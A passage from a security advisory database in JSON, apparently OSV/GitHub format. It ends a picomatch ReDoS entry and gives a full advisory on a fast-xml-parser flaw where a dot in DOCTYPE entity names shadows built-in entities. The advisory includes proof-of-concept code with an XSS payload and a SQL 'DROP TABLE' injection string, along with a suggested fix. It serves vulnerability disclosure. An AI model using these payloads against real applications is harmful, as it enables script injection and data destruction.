(`path-to-regexp`)",
  "id": "GHSA-c2c7-rcm5-vvqj",
  "modified": "2026-03-27T21:36:13Z",
  "published": "2026-03-25T21:12:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33671"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/micromatch/picomatch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Picomatch has a ReDoS vulnerability via extglob quantifiers"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.3"
            },
            {
              "fixed": "4.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-185"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-20T18:23:54Z",
    "nvd_published_at": "2026-02-20T21:19:27Z",
    "severity": "CRITICAL"
  },
  "details": "# Entity encoding bypass via regex injection in DOCTYPE entity names\n\n## Summary\n\nA dot (`.`) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (`\u0026lt;`, `\u0026gt;`, `\u0026amp;`, `\u0026quot;`, `\u0026apos;`) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.\n\n## Details\n\nThe fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed `.` (period), which is valid in XML names per the W3C spec.\n\nIn `DocTypeReader.js`, entity names are passed directly to `RegExp()`:\n\n```js\nentities[entityName] = {\n    regx: RegExp(`\u0026${entityName};`, \"g\"),\n    val: val\n};\n```\n\nAn entity named `l.` produces the regex `/\u0026l.;/g` where `.` matches **any character**, including the `t` in `\u0026lt;`. Since DOCTYPE entities are replaced before built-in entities, this shadows `\u0026lt;` entirely.\n\nThe same issue exists in `OrderedObjParser.js:81` (`addExternalEntities`), and in the v6 codebase - `EntitiesParser.js` has a `validateEntityName` function with a character blacklist, but `.` is not included:\n\n```js\n// v6 EntitiesParser.js line 96\nconst specialChar = \"!?\\\\/[]$%{}^\u0026*()\u003c\u003e|+\";  // no dot\n```\n\n## Shadowing all 5 built-in entities\n\n| Entity name | Regex created | Shadows |\n|---|---|---|\n| `l.` | `/\u0026l.;/g` | `\u0026lt;` |\n| `g.` | `/\u0026g.;/g` | `\u0026gt;` |\n| `am.` | `/\u0026am.;/g` | `\u0026amp;` |\n| `quo.` | `/\u0026quo.;/g` | `\u0026quot;` |\n| `apo.` | `/\u0026apo.;/g` | `\u0026apos;` |\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\nconst xml = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  \u003c!ENTITY l. \"\u003cimg src=x onerror=alert(1)\u003e\"\u003e\n]\u003e\n\u003croot\u003e\n  \u003ctext\u003eHello \u0026lt;b\u0026gt;World\u0026lt;/b\u0026gt;\u003c/text\u003e\n\u003c/root\u003e`;\n\nconst result = new XMLParser().parse(xml);\nconsole.log(result.root.text);\n// Hello \u003cimg src=x onerror=alert(1)\u003eb\u003eWorld\u003cimg src=x onerror=alert(1)\u003e/b\u003e\n```\n\nNo special parser options needed - `processEntities: true` is the default.\n\nWhen an app renders `result.root.text` in a page (e.g. `innerHTML`, template interpolation, SSR), the injected `\u003cimg onerror\u003e` fires.\n\n`\u0026amp;` can be shadowed too:\n\n```js\nconst xml2 = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  \u003c!ENTITY am. \"\u0027; DROP TABLE users;--\"\u003e\n]\u003e\n\u003croot\u003eSELECT * FROM t WHERE name=\u0027O\u0026amp;Brien\u0027\u003c/root\u003e`;\n\nconst r = new XMLParser().parse(xml2);\nconsole.log(r.root);\n// SELECT * FROM t WHERE name=\u0027O\u0027; DROP TABLE users;--Brien\u0027\n```\n\n## Impact\n\nThis is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.\n\n- Default config, no special options\n- Attacker can replace any `\u0026lt;` / `\u0026gt;` / `\u0026amp;` / `\u0026quot;` / `\u0026apos;` with arbitrary strings\n- Direct XSS vector when parsed XML content is rendered in a page\n- v5 and v6 both affected\n\n## Suggested fix\n\nEscape regex metacharacters before constructing the replacement regex:\n\n```js\nconst escaped = entityName.replace(/[.*+?^${}()|[\\]\\\\]/g, \u0027\\\\$\u0026\u0027);\nentities[entityName] = {\n    regx: RegExp(`\u0026${escaped};`, \"g\"),\n    val: val\n};\n```\n\nFor v6, add `.` to the blacklist in `validateEntityName`:\n\n```js\nconst specialChar = \"!?\\\\/[].{}^\u0026*()\u003c\u003e|+\";\n```\n\n## Severity\n\n**CWE-185** (Incorrect Regular Expression)\n\n**CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)**\n\nEntity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.",
  "id": "GHSA-m7jm-9gc2-mpf2",
  "modified": "2026-02-27T16:51:58Z",
  "published": "2026-02-20T18:23:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-m7jm-9gc2-mpf2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25896"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/943ef0eb1b2d3284e72dd74f44a042ee9f07026e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/ddcd0acf26ddd682cb0dc15a2bd6aa3b96bb1e69"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names"
}